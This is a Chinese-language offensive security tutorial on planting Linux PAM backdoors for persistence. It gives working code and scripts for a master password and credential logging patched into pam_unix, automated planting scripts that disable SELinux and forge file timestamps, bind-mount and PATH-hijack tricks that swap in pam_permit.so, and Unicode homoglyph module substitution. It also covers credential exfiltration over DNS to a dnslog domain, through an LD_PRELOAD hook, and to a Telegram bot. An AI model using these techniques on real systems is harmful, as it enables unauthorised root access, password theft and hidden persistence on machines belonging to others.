1. 程式人生 > 實用技巧 >Linux Pam後門總結拓展

Linux Pam後門總結拓展

首發先知社群: https://xz.aliyun.com/t/7902

前言

漸漸發現pam後門在實戰中存在種植繁瑣、隱蔽性不強等缺點,這裡記錄下學習pam後門相關知識和pam後門的拓展改進。


0x01 PAM Backdoor

PAM是一種認證模組,PAM可以作為Linux登入驗證和各類基礎服務的認證,簡單來說就是一種用於Linux系統上的使用者身份驗證的機制。進行認證時首先確定是什麼服務,然後載入相應的PAM的配置檔案(位於/etc/pam.d),最後呼叫認證檔案(位於/lib/security)進行安全認證

簡易利用的PAM後門也是通過修改PAM原始碼中認證的邏輯來達到許可權維持

以下為Pam後門種植的過程,只是特別把一點tips和需要注意的點貼出來。

查詢目標版本後下載對應原始碼修改認證邏輯、編譯替換原認證檔案即可。版本務必要和目標系統完全保持對應。

原始碼:http://www.linux-pam.org/library/

查詢版本rpm -qa | grep pam

tar -xzvf Linux-PAM-1.1.1.tar.gz
cd Linux-PAM-1.1.1
cd modules/pam_unix/
vim pam_unix_auth.c

**pam_unix_auth.c ** 在這裡你可以修改認證邏輯,改成使用特定密碼的後門,當然也可以作為一個記錄敏感密碼的功能,將記錄的密碼寫入檔案記錄。

/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
if(strcmp("[email protected]#123",p)==0){return PAM_SUCCESS;}
if(retval == PAM_SUCCESS){
FILE * fp;
fp = fopen("/bin/.sshlog", "a");
fprintf(fp, "%s : %s\n", name, p);
fclose(fp);
}

這裡也提一下,實際各種複雜環境還是推薦非互動去修改原始碼

apt-get install dpkg-dev flex
apt-get source libpam-modules=`dpkg -s libpam-modules \
> | grep -i version | cut -d' ' -f2`
cd pam-1.1.1/modules/pam_unix/
sed -i '/\tretval = _unix_verify_password(pamh, name, p, ctrl);/ a \\tif (strcmp(p, \"micasa\") == 0) { retval = PAM_SUCCESS; }' pam_unix_auth.c
cd ../..
./configure
make
cd

編譯、修改:

在目標機器上重新編譯PAM,而後,再將生成的庫複製到系統的/lib64/security/[注意,32和64位系統下該目錄的路徑不一樣的目錄下

cd ../../
./configure && make (./configure --prefix=/user --exec-prefix=/usr --localstatedir=/var --sysconfdir=/etc --disable-selinux --with-libiconv-prefix=/usr)
mv pam_unix.so{,.bak} #備份
cp /root/Linux-PAM-1.1.1/modules/pam_unix/.libs/pam_unix.so /lib64/security/ #覆蓋替換
echo $?

注意的tips

過程只是有些步驟,需要注意的時候在編譯後門關閉Selinux或設定上下文,以及修改pam認證的一些時間戳達到基本的隱蔽。

stat pam_unix.*
touch -t 201002160134 pam_unix.so
touch pam_unix.so -r pam_unix.so.src #克隆原始檔案時間
ls -Z pam_unix.so.src (檢視原始檔案的Selinux上下文)
chcon –reference=pam_unix.so.src pam_unix.so setsebool -P allow_saslauthd_read_shadow 1 # 設定Selinux上下文 #或直接時間戳給變數來修改
timestamp=`ls -l /lib/security/ | grep pam_unix.so | grep -v ^l \
> | awk '{print $6$7}' | tr -d '-' | tr -d ':'`
touch -t $timestamp /lib/security/pam_unix.so

一定注意替換完成後測試ok再退出不然基本的認證就亂了

[email protected]:~/pam/Linux-PAM-1.1.8/modules/pam_unix# ls -alh /bin/.sshlog
-rw-r--r--. 1 root root 162 May 31 03:15 /bin/.sshlog

Pam 後門一些報錯解決:

編譯中的問題解決:64位系統編譯可能會遇到yywrap()函式未定義錯誤

  • 1.根據提示的檔案路徑,在裡面定義
  • #define yywrap() 1 或者int yywrap(){return 1;}
  • 2.在C檔案中定義 %option noyywrap
  • 3.安裝flex軟體包就可以正常編譯了 yum install flex

記得Selinux一定要關閉或者設定上下文

Pam後門種植指令碼

但是在種植過程中對於步驟顯得有點繁瑣,指令碼來簡化步驟,指令碼一把PAM種植過程的命令傻瓜式寫進sh, 指令碼二來自zephrax:

[email protected]:~/pam# cat pam.sh
#!/bin/bash
PASS='qing123' ##......
LOG='\/bin\/.sshlog' ##......
echo -e "\nPam-Backdoor\n\n\n"
version=`rpm -qa | grep pam | awk -F- '{print $2}'`
#get the pam version #close the selinux
if [ `getenforce` = '1' ];then
setenforce 0
line_n = `grep -n "^SELINUX=enforcing" /etc/sysconfig/selinux | awk -F: '{print $1}'`
sed -i $line_n' d' /etc/sysconfig/selinux
sed -i $line_n" a\SELINUX=disabled" /etc/sysconfig/selinux
/etc/sysconfig/selinux
else
echo "selinux is closed"
fi
if [ `uname -p` = 'x86_64' ];then
LIBPATH=lib64
else
LIBPATH=lib
fi
oldtime=`stat -c '%z' /lib64/security/pam_ftp.so`
echo 'Pam backdoor starting!'
mirror_url='http://www.linux-pam.org/library/Linux-PAM-'$version'.tar.gz'
#mirror_url='http://yum.singlehop.com/pub/linux/libs/pam/pre/library/Linux-PAM-0.99.6.2.tar.gz'
version='Linux-PAM-'$version
echo 'Fetching from '$mirror_url
wget $mirror_url #fetch the roll
tar zxf $version'.tar.gz' #untar
cd $version
#find and replace
sed -i -e 's/retval = _unix_verify_password(pamh, name, p, ctrl);/retval = _unix_verify_password(pamh, name, p, ctrl);\n\tif (strcmp(p,"'$PASS'")==0 ){retval = PAM_SUCCESS;}if(retval == PAM_SUCCESS){\n\tFILE * fp;\n\tfp = fopen("'$LOG'", "a");\n\tfprintf(fp, "%s : %s\\n", name, p);\n\tfclose(fp);\n\t}/g' modules/pam_unix/pam_unix_auth.c
DIS=`head /etc/issue -n 1|awk '{print $1}'`
#get the version
if [ $DIS = "CentOS" ];then
./configure --disable-selinux && make
else
./configure && make
fi
/bin/cp -rf /$LIBPATH/security/pam_unix.so /$LIBPATH/security/pam_unix.so.bak #.. .........
/bin/cp -rf modules/pam_unix/.libs/pam_unix.so /$LIBPATH/security/pam_unix.so
touch -d "$oldtime" /$LIBPATH/security/pam_unix.so
cd .. && rm -rf Linux-PAM-1.1.1*
echo "PAM BackDoor is Done"
#!/bin/bash

OPTIND=1

PAM_VERSION=
PAM_FILE=
PASSWORD= echo "Automatic PAM Backdoor" function show_help {
echo ""
echo "Example usage: $0 -v 1.3.0 -p some_s3cr3t_p455word"
echo "For a list of supported versions: http://www.linux-pam.org/library/"
} while getopts ":h:?:p:v:" opt; do
case "$opt" in
h|\?)
show_help
exit 0
;;
v) PAM_VERSION="$OPTARG"
;;
p) PASSWORD="$OPTARG"
;;
esac
done shift $((OPTIND-1)) [ "$1" = "--" ] && shift if [ -z $PAM_VERSION ]; then
show_help
exit 1
fi; if [ -z $PASSWORD ]; then
show_help
exit 1
fi; echo "PAM Version: $PAM_VERSION"
echo "Password: $PASSWORD"
echo "" PAM_BASE_URL="http://www.linux-pam.org/library"
PAM_DIR="Linux-PAM-${PAM_VERSION}"
PAM_FILE="Linux-PAM-${PAM_VERSION}.tar.bz2"
PATCH_DIR=`which patch` if [ $? -ne 0 ]; then
echo "Error: patch command not found. Exiting..."
exit 1
fi
wget -c "${PAM_BASE_URL}/${PAM_FILE}" tar xjf $PAM_FILE
cat backdoor.patch | sed -e "s/_PASSWORD_/${PASSWORD}/g" | patch -p1 -d $PAM_DIR
cd $PAM_DIR
./configure
make
cp modules/pam_unix/.libs/pam_unix.so ../
cd ..
echo "Backdoor created."
echo "Now copy the generated ./pam_unix.so to the right directory (usually /lib/security/)"
echo ""

pam 後門種植過程中也可以發現一些可以改進優化的點,比如載入認證後門方式、檔案,以及對於劫持密碼的形式不一定是寫入文字檔案的形式。

0x02 Pam_permit Backdoor

因為種植機器環境的不確定性,很難保證在包管理器中提供了某種對檔案校驗,可用於檢測檔案系統中現有程式的操作。這些校驗分發包中合法隨附的檔案的完整性,也許在我們修改認證so類似這種系統敏感檔案就會觸發監控報警

我們也可以在原Pam後門種植中變通一下在不替換原系統認證pam檔案來達到相同的許可權維持目的。

而類似在pam認證邏輯中改變認證結果,不一定非要在檔案中修改,在認證中存在pam_permit.so模組,而而pam_permit模組任何時候都返回認證成功.

[email protected]:~/pam/Linux-PAM-1.1.8/modules# cat pam_permit/pam_permit.c
/* pam_permit module */ /*
* $Id$
*
* Written by Andrew Morgan <[email protected]> 1996/3/11
*
*/ #include "config.h" #define DEFAULT_USER "nobody" #include <stdio.h> /*
* here, we make definitions for the externally accessible functions
* in this file (these definitions are required for static modules
* but strongly encouraged generally) they are used to instruct the
* modules include file to define their prototypes.
*/ #define PAM_SM_AUTH
#define PAM_SM_ACCOUNT
#define PAM_SM_SESSION
#define PAM_SM_PASSWORD #include <security/pam_modules.h>
#include <security/_pam_macros.h> /* --- authentication management functions --- */ PAM_EXTERN int
pam_sm_authenticate(pam_handle_t *pamh, int flags UNUSED,
int argc UNUSED, const char **argv UNUSED)
{
int retval;
const char *user=NULL; /*
* authentication requires we know who the user wants to be
*/
retval = pam_get_user(pamh, &user, NULL);
if (retval != PAM_SUCCESS) {
D(("get user returned error: %s", pam_strerror(pamh,retval)));
return retval;
}
if (user == NULL || *user == '\0') {
D(("username not known"));
retval = pam_set_item(pamh, PAM_USER, (const void *) DEFAULT_USER);
if (retval != PAM_SUCCESS)
return PAM_USER_UNKNOWN;
}
user = NULL; /* clean up */ return PAM_SUCCESS;
} PAM_EXTERN int
pam_sm_setcred(pam_handle_t *pamh UNUSED, int flags UNUSED,
int argc UNUSED, const char **argv UNUSED)
{
return PAM_SUCCESS;
} /* --- account management functions --- */ PAM_EXTERN int
pam_sm_acct_mgmt(pam_handle_t *pamh UNUSED, int flags UNUSED,
int argc UNUSED, const char **argv UNUSED)
{
return PAM_SUCCESS;
} /* --- password management --- */ PAM_EXTERN int
pam_sm_chauthtok(pam_handle_t *pamh UNUSED, int flags UNUSED,
int argc UNUSED, const char **argv UNUSED)
{
return PAM_SUCCESS;
} /* --- session management --- */ PAM_EXTERN int
pam_sm_open_session(pam_handle_t *pamh UNUSED, int flags UNUSED,
int argc UNUSED, const char **argv UNUSED)
{
return PAM_SUCCESS;
} PAM_EXTERN int
pam_sm_close_session(pam_handle_t *pamh UNUSED, int flags UNUSED,
int argc UNUSED, const char **argv UNUSED)
{
return PAM_SUCCESS;
} /* end of module definition */ #ifdef PAM_STATIC /* static module data */ struct pam_module _pam_permit_modstruct = {
"pam_permit",
pam_sm_authenticate,
pam_sm_setcred,
pam_sm_acct_mgmt,
pam_sm_open_session,
pam_sm_close_session,
pam_sm_chauthtok
}; #endif

所以在留pam後門時也可以利用這個"永真"的so來達到許可權維持。


掛載+優先順序後門

當我們執行shell指令碼時候系統將順序嘗試在PATH環境變數的所有目錄中查詢該命令。如果兩個不同的PATH條目中有兩個匹配的可執行檔案,則將使用第一個而不觸發任何警告。因此,如果我們在第一個PATH條目中添加了一個惡意二進位制檔案,而合法的二進位制檔案則位於PATH的後面,則使用惡意二進位制檔案代替原始二進位制檔案。

所以我們可以利用路徑優先順序結合使用mount連線原so和替換的惡意so檔案來耍點"小聰明",這裡將/usr/bin/uname寫個wrapper script:

#!/bin/sh
mount --bind /lib/*/*/pam_permit.so /lib/*/*/pam_unix.so 2>/dev/null
/bin/uname $*

這樣就用pam_permit.so來替代載入了pam_unix.so.

原因就在於/usr/bin預設優先於/bin路徑

[email protected]:/usr/bin$ cat uname
#!/bin/sh
mount --bind /lib64/security/pam_permit.so /lib64/security/pam_unix.so 2>/dev/null
/bin/uname $*
[email protected]:/usr/bin$ uname -a Linux ubuntu 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:00:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
[email protected]:/usr/bin$

可以發現隨便輸入密碼都是ok的 以及以低使用者許可權切root也是無密:

這樣相當於萬能密碼,/dev/null重定向標準錯誤也是為了低許可權使用者執行mount因許可權不夠出錯的問題,這樣就算不是root使用者執行uname在最後執行原/bin/uname沒有任何影響。種植後任何呼叫uname的指令碼都會觸發pam_permit.so,並且我們沒有修改原pam的任何檔案。

uname只是一個簡單的例子,shell指令碼中可以使用無數的命令,具體要用替換來長期維權需要替換什麼師傅們也能想到。

需要注意的一個的小地方是上面的例子是在Linux ubuntu 4.4.0-142-generic 進行,而你在Centos這種紅帽中PATH又是不一樣的,具體環境具體替換即可。

同形異義字後門

/etc/pam.d/下來管理對程式的認證方式。

應用程式會呼叫相應的配置檔案,從而呼叫本地的認證模組,模組放置在/lib/security下,以載入動態庫的形式進,像我們使用su命令時,系統會提示你輸入root使用者的密碼.這就是su命令通過呼叫PAM模組實現的.

[email protected]:/usr/bin$ ls -alh /etc/pam.d/
total 92K
drwxr-xr-x 2 root root 4.0K May 13 02:17 .
drwxr-xr-x 97 root root 4.0K May 21 05:26 ..
-rw-r--r-- 1 root root 384 Nov 12 2015 chfn
-rw-r--r-- 1 root root 92 Nov 12 2015 chpasswd
-rw-r--r-- 1 root root 581 Nov 12 2015 chsh
-rw-r--r-- 1 root root 1.2K Apr 7 05:15 common-account
-rw-r--r-- 1 root root 1.2K Apr 7 05:15 common-auth
-rw-r--r-- 1 root root 1.5K Apr 7 05:15 common-password
-rw-r--r-- 1 root root 1.5K Apr 7 05:15 common-session
-rw-r--r-- 1 root root 1.5K Apr 7 05:15 common-session-noninteractive
-rw-r--r-- 1 root root 606 Apr 5 2016 cron
-rw-r--r-- 1 root root 4.8K Jan 29 2016 login
-rw-r--r-- 1 root root 92 Nov 12 2015 newusers
-rw-r--r-- 1 root root 520 Mar 16 2016 other
-rw-r--r-- 1 root root 92 Nov 12 2015 passwd
-rw-r--r-- 1 root root 143 Mar 12 2016 runuser
-rw-r--r-- 1 root root 138 Mar 12 2016 runuser-l
-rw-r--r-- 1 root root 454 Jan 13 2018 smtp
-rw-r--r-- 1 root root 2.1K Mar 4 2019 sshd
-rw-r--r-- 1 root root 2.3K Nov 12 2015 su
-rw-r--r-- 1 root root 239 Mar 30 2016 sudo
-rw-r--r-- 1 root root 251 Apr 12 2016 systemd-user

看檔案之前先看下配置檔案的規則,例如/etc/pam.d/sshd(省略號為無關內容):

[email protected]:/usr/bin$ cat /etc/pam.d/sshd
# PAM configuration for the Secure Shell service # Standard Un*x authentication.
@include common-auth
...
account required pam_nologin.so
...
@include common-account
...
session [success=ok ignore=ignore module_unknown=ignore default=bad] pam_selinux.so close # Set the loginuid process attribute.
session required pam_loginuid.so
..
session optional pam_keyinit.so force revoke
..
@include common-session
..
session optional pam_motd.so motd=/run/motd.dynamic
session optional pam_motd.so noupdate
..
session optional pam_mail.so standard noenv # [1]
..
session required pam_limits.so ..
session required pam_env.so # [1]
..
session required pam_env.so user_readenv=1 envfile=/etc/default/locale
...
session [success=ok ignore=ignore module_unknown=ignore default=bad] pam_selinux.so open # Standard Un*x password updating.
@include common-password

第一列代表模組型別

第二列代表控制標記

第三列代表模組路徑

第四列代表模組引數

而模組又分四種,具體可以百度,這裡對於後門做手腳還是關注認證管理(auth)模組。

檢視認證/etc/pam.d/common-auth,可以發現auth模組和對應標記控制、呼叫的模組、傳遞的引數:

從檔案中控制標記可以看出驗證的邏輯順序(required表示即使某個模組對使用者的驗證失敗,requisite也是表示返回失敗,立刻嚮應用程式返回失敗,表示此型別失敗.不再進行同型別後面的操作.),為這裡suucces=1的表示驗證密碼成功然後接下來去呼叫pam_unix.so(跳過呼叫pam_deny.so),如果驗證失敗則會去呼叫pam_deny.so,

那在不知道認證密碼的情況下必然是認證失敗,如果失敗呼叫的這個pam_deny.so為惡意檔案或者為返回結果為真的pam_permit.so都可以達到一個後門的效果,這裡就可以用到同形異字Unicode字元來做個後門:

cp /lib/*/*/pam_permit.so /lib/x86_64-linux-gnu/security/pam_de$'\u578'y.so

這裡de後面的並不是正常的n,而是用Unicode字元u+578來替代,雖然他看來和正常的n很像,

所以在認證檔案替換響應的字元,這樣呼叫的時候會呼叫我們建立含unicode字元的so,最後還是會呼叫到pam_permit.so使認證結果返回正確,而不是原認證檔案。

perl -i -pe's/deny/de\x{578}y/' /etc/pam.d/common-auth

類似的還可以使用相同名稱的shell指令碼來替換ls、netstat、ps等命令,不過不推薦:

which ls netstat ps lsof find|perl -pe'$s="\x{455}";$n="\x{578}";chop;$o=$_;s/([ltp])s/\1$s/||s/fin/fi$n/;rename$o,$_;open F,">$o";print F"#!/bin/sh\n$_ \$*|grep -vE \"[$s-$n]|grep|177\"";chmod 493,$o'

0x03 PAM-BackDoor-exfiltration

在更改pam_unix_auth時候可以指定將密碼寫入tmp目錄檔案來記錄密碼,除此我們也可使用資料帶外的方式來達到用後門收集一些有效憑證、敏感密碼之類的資訊。

這時候我們在看來一般的PAM後門種植過程中對於密碼的記錄:

if(strcmp(p,"qing")==0)
{
retval = PAM_SUCCESS;
}
if(retval== PAM_SUCCESS)
{
fp=fopen("qing.txt","a");
fprintf(fp,"%s::%s\n",name,p);
fclose(fp);
}

DNS exfiltration收集密碼

這裡還是在retval = _unix_verify_password(pamh, name, p, ctrl)下改變邏輯,如果需要將憑證帶外的話只需要改變記錄方式,比如建立socket物件將認證賬號密碼傳送http格式的包到攻擊者的伺服器上。這裡也可以使用dns帶外的形式,還是在更改pam_unix_auth.c的基礎上加入dns帶外的程式碼。

Silver Moon dns.c(https://gist.github.com/fffaraz/9d9170b57791c28ccda9255b48315168)

get_dns_serversChangetoDnsNameFormat進行指定dns解析和域名格式轉換

void get_dns_servers()
{
FILE *fp;
char line[200] , *p;
if((fp = fopen("/etc/resolv.conf" , "r")) == NULL)
{
printf("Failed opening /etc/resolv.conf file \n");
} while(fgets(line , 200 , fp))
{
if(line[0] == '#')
{
continue;
}
if(strncmp(line , "nameserver" , 10) == 0)
{
p = strtok(line , " ");
p = strtok(NULL , " "); //p now is the dns ip :)
//????
}
} strcpy(dns_servers[0] , "208.67.222.222");
strcpy(dns_servers[1] , "208.67.220.220");
} /*
* This will convert www.google.com to 3www6google3com
* got it :)
* */
void ChangetoDnsNameFormat(unsigned char* dns,unsigned char* host)
{
int lock = 0 , i;
strcat((char*)host,"."); for(i = 0 ; i < strlen((char*)host) ; i++)
{
if(host[i]=='.')
{
*dns++ = i-lock;
for(;lock<i;lock++)
{
*dns++=host[lock];
}
lock++; //or lock=i+1;
}
}
*dns++='\0';
}

加入查詢的程式碼後只需要在_unix_verify_password下面加入對認證資訊的dns查詢即可,name和p都在最後呼叫ngethostbyname將snprintf拼接好的地址進行dns查詢:

[email protected]:~/Linux-PAM-1.1.8/modules/pam_unix# rm pam_unix_auth.c
rm: remove regular file ‘pam_unix_auth.c’? yes
[email protected]:~/Linux-PAM-1.1.8/modules/pam_unix# mv 1.c pam_unix_auth.c
[email protected]:~/Linux-PAM-1.1.8/modules/pam_unix# cd ../../
[email protected]:~/Linux-PAM-1.1.8# ./configure && make

而這種還是對pam_unix.so進行替換,如果不動so檔案也可以使用LD_PRELOAD之類的來預載入。

LD_PRELOAD 劫持收集密碼

在不動so的情況下我們也可以使用類似LD_PRELOAD的方式來劫持相關認證函式,在劫持的函式中對憑證進行帶外收集,最後再呼叫正常的認證函式即可。而@TheXC3LL沒有細說為什麼劫持pam_get_item函式的原因,查下資料,先來看看pam_get_item函式:

(https://www.man7.org/linux/man-pages/man3/pam_get_item.3.html)

NAME         top
pam_get_item - getting PAM informations
SYNOPSIS top
#include <security/pam_modules.h> int pam_get_item(const pam_handle_t *pamh, int item_type,
const void **item);
DESCRIPTION top
The pam_get_item function allows applications and PAM service modules
to access and retrieve PAM informations of item_type. Upon successful
return, item contains a pointer to the value of the corresponding
item. Note, this is a pointer to the actual data and should not be
free()'ed or over-written! The following values are supported for
item_type:

可以看到pam_get_item 是用來讓應用和pam服務模組去獲取PAM資訊的,檢視手冊定義發現當item_type引數為PAM_AUTHTOK

使用pam_sm_authenticate()pam_sm_chauthtok()會傳遞身份令牌(一般是密碼)和包含密碼,這裡傳遞了密碼憑據:

 PAM_AUTHTOK
The authentication token (often a password). This token should be
ignored by all module functions besides pam_sm_authenticate(3)
and pam_sm_chauthtok(3). In the former function it is used to
pass the most recent authentication token from one stacked module
to another. In the latter function the token is used for another
purpose. It contains the currently active authentication token.

手冊末尾也說明瞭獲取使用者名稱使用pam_get_user()、並且當是服務模組的時候才可以讀取認證憑據。

If a service module wishes to obtain the name of the user, it should
not use this function, but instead perform a call to pam_get_user(3). Only a service module is privileged to read the authentication
tokens, PAM_AUTHTOK and PAM_OLDAUTHTOK.

所以我們劫持pam_get_item即可收集憑據。

劫持後的pam_get_item函式,orig_ftype定義為dlsym返回動態連結庫的函式指標即原pam_get_item函式,呼叫原函式後在最後傳送dns請求:

typedef int (*orig_ftype) (const pam_handle_t *pamh, int item_type,  const void **item);

int pam_get_item(const pam_handle_t *pamh, int item_type, const void **item) {
int retval;
int pid;
const char *name;
orig_ftype orig_pam;
orig_pam = (orig_ftype)dlsym(RTLD_NEXT, "pam_get_item"); // Call original function so we log password
retval = orig_pam(pamh, item_type, item); // Log credential
if (item_type == PAM_AUTHTOK && retval == PAM_SUCCESS && *item != NULL) {
unsigned char hostname[256];
get_dns_servers();
pam_get_user((pam_handle_t *)pamh, &name, NULL);
snprintf(hostname, sizeof(hostname), "%s.%s.qing.dnslog.cn", name, *item); // Change it with your domain
if (fork() == 0) {
ngethostbyname(hostname, T_A);
}
} return retval;

[email protected]:~# vim pam_door.c
[email protected]:~# gcc -fPIC -shared pam_door.c -o qing.so
[email protected]:~# ll qing.so
-rwxr-xr-x 1 root root 17624 Jun 12 08:13 qing.so

這種好處雖然也是用pam做後門但是不用去動認證檔案以及每次收集使用dns帶外,動靜更小隱蔽性更好一些。

使用**pam_get_item **獲取密碼還可以參考這篇:https://www.redhat.com/archives/pam-list/2004-November/msg00038.html

sshLooterC

sshLooterC也是用pam_get_item來獲取密碼,只不過是改的/etc/pam.d/common-auth使認證成功時呼叫惡意的so:

Copy the looter.so to the infected machine on /lib/security, then edit the /etc/pam.d/common-auth and add the following lines.

auth optional module.so
account optional module.so

將密碼帶外則是用的libcurl來帶外:

void sendMessage(char (*message)[]) {
char url[500];
char data[200]; //INSERT HERE YOUR BOT KEY
char token[200] = "BOT TOKEN"; //INSERT HERE YOUR USER ID
int user_id = 1111111; snprintf(url,600,"https://api.telegram.org/bot%s/sendMessage",token);
snprintf(data,300,"chat_id=%d&text=%s",user_id,*message);
CURL *curl;
curl_global_init(CURL_GLOBAL_ALL);
curl = curl_easy_init();
if(curl) {
curl_easy_setopt(curl, CURLOPT_URL, url);
curl_easy_setopt(curl, CURLOPT_POSTFIELDS,data);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data);
curl_easy_perform(curl);
}
curl_global_cleanup();
}

使用這個專案時候有點bug,新增下函式宣告:

//新增函式宣告
int pam_get_authtok(pam_handle_t *pamh, int item, const char **authtok, const char
*prompt);
PAM_EXTERN int pam_sm_authenticate( pam_handle_t *pamh, int flags,int argc, const
char **argv ) {
const char* username = NULL;
const char* password = NULL;
const char* prompt = NULL;
char message[1024];
char hostname[128];
retval = pam_get_user(pamh, &username, "Username: ");
//獲得密碼
pam_get_authtok(pamh, PAM_AUTHTOK, &password, prompt);
if (retval != PAM_SUCCESS) {
return retval;
}
gethostname(hostname, sizeof hostname);
snprintf(message,2048,"Hostname: %s\nUsername: %s\nPassword:
%s\n",hostname,username,password);
sendMessage(&message);
return PAM_SUCCESS;
}

最後改下接收地址,make編譯替換寫入即可。

END

Links

https://blog.csdn.net/weixin_42758707/article/details/94738684

https://www.cnblogs.com/marility/articles/9235522.html

https://github.com/mthbernardes/sshLooterC

https://x-c3ll.github.io/posts/

http://0daysecurity.com/articles/backdoor_pam_unix.so.html

https://github.com/zephrax/linux-pam-backdoor/blob/master/backdoor.sh

http://blog.kernelpanic.com.ar/2017/06/08/linux-pam-backdoor/

https://www.jakoblell.com/blog/2014/05/07/hacking-contest-invisible-configuration-file-backdooring-with-unicode-homoglyphs/